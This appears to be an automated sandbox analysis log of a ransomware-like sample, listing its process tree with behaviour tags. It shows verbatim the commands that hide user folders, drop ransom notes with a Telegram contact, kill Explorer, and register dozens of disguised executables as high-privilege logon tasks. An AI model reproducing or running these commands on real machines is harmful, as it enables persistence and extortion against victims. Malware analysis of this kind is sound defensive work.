  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4504
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:9036
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:11328
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2828
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:8976
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6992
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3760
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5540
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4796
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4696
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:9112
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:11540
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4512
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:8788
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - System Location Discovery: System Language Discovery
    - Views/modifies file attributes
    PID:7312
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5576
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_1" /tr ""C:\Users\Admin\AppData\Roaming\Adobe\Logs\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8180
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_iexpress_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\iexpress.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4212
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_iexpress_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\iexpress.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9700
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_3" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8796
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3436
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7812
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_5" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:3496
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_5" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:8176
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RunLegacyCPLElevated_6" /tr ""C:\Users\Admin\AppData\Roaming\SuspendApprove\Logs\RunLegacyCPLElevated.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3044
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dxdiag_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\dxdiag.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:1544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dxdiag_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\dxdiag.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11188
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_setup_8" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_setup_8" /tr ""C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\UpdateCache\setup.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7172
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10092
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_xcopy_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_xcopy_10" /tr ""C:\Users\Admin\AppData\Local\Temp\Low\Logs\UpdateCache\xcopy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_11" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7208
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_AssertMerge_11" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4520
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_12" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7224
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_12" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:10940
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_13" /tr ""C:\ProgramData\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_13" /tr ""C:\ProgramData\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7980
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7264
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7196
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_lodctr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\lodctr.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7300
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_lodctr_15" /tr ""C:\Users\Admin\AppData\Local\Temp\{45447235-15B8-4571-A2AB-5C8F754C1886}\Logs\lodctr.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8544
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_16" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7308
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_16" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_EhStorAuthn_17" /tr ""C:\Users\Admin\AppData\Local\PeerDistRepub\Logs\UpdateCache\EhStorAuthn.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_compact_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7336
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_compact_18" /tr ""C:\ProgramData\USOShared\Logs\UpdateCache\compact.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_19" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_comp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\comp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7364
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_comp_20" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\comp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_subst_21" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\subst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7376
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_subst_21" /tr ""C:\Users\Admin\AppData\Roaming\PushPublish\Logs\subst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WPDShextAutoplay_22" /tr ""C:\Users\Admin\AppData\Local\Adobe\Logs\UpdateCache\UpdateCache\WPDShextAutoplay.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4568
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sxstrace_23" /tr ""C:\ProgramData\MicrosoftService\sxstrace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sxstrace_23" /tr ""C:\ProgramData\MicrosoftService\sxstrace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5448
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7424
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_24" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7440
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_25" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2824
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ctfmon_26" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ctfmon_26" /tr ""C:\Users\Admin\AppData\Roaming\BlockShow\Logs\UpdateCache\UpdateCache\ctfmon.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4320
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_where_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7468
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_where_27" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\where.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5456
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x64_28" /tr ""C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7488
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x64_28" /tr ""C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\UpdateCache\vcredist_x64.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9208
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_29" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8740
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7584
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_30" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_31" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7620
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_31" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:9004
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_TCPSVCS_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\TCPSVCS.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_TCPSVCS_32" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\TCPSVCS.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:8396
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_takeown_1" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_takeown_1" /tr ""C:\Users\Admin\AppData\Roaming\ImportWrite\Logs\UpdateCache\takeown.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12132
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cipher_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cipher_2" /tr ""C:\Users\Admin\AppData\Local\Temp\Outlook Logging\Logs\UpdateCache\UpdateCache\UpdateCache\UpdateCache\cipher.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:8360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_3" /tr ""C:\ProgramData\MicrosoftService\UpdateCache\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:11856
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_4" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6076
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_clip_5" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:6112
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_clip_5" /tr ""C:\Users\Admin\AppData\Local\Temp\mozilla-temp-files\Logs\UpdateCache\clip.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11992
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rundll32_6" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\rundll32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:7984
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rundll32_6" /tr ""C:\Users\Admin\AppData\Roaming\BackupHide\Logs\rundll32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11880
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rasphone.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_rasphone_7" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\rasphone.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5612
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ftp_8" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9244
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_ftp_8" /tr ""C:\ProgramData\SoftwareDistribution\Logs\UpdateCache\UpdateCache\ftp.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12024
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9256
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_9" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12152
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_srdelayed_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9268
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_srdelayed_10" /tr ""C:\Users\Admin\AppData\Local\Temp\{05D77BED-53C3-4F6B-8089-D17FF23873EF}\Logs\UpdateCache\srdelayed.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:11888
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WerFault_11" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9284
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WerFault_11" /tr ""C:\Users\Admin\AppData\Roaming\JoinClear\Logs\UpdateCache\WerFault.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:6136
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_sdbinst_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sdbinst.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9320
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_sdbinst_12" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\sdbinst.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5524
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9332
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_explorer_13" /tr ""C:\ProgramData\Oracle\Logs\UpdateCache\explorer.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12140
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_net1_14" /tr ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MicrosoftService\UpdateCache\UpdateCache\UpdateCache\UpdateCache\UpdateCache\net1.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12124
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:9356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mspaint_15" /tr ""C:\Users\Admin\AppData\Local\Temp\acrocef_low\Logs\UpdateCache\mspaint.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:12116
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_AssertMerge_16" /tr ""C:\Users\Admin\AppData\Roaming\UnprotectConvertFrom\UpdateCache\AssertMerge.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  PID:9364
- - C:\Windows\SysWOW64\schtasks.exe
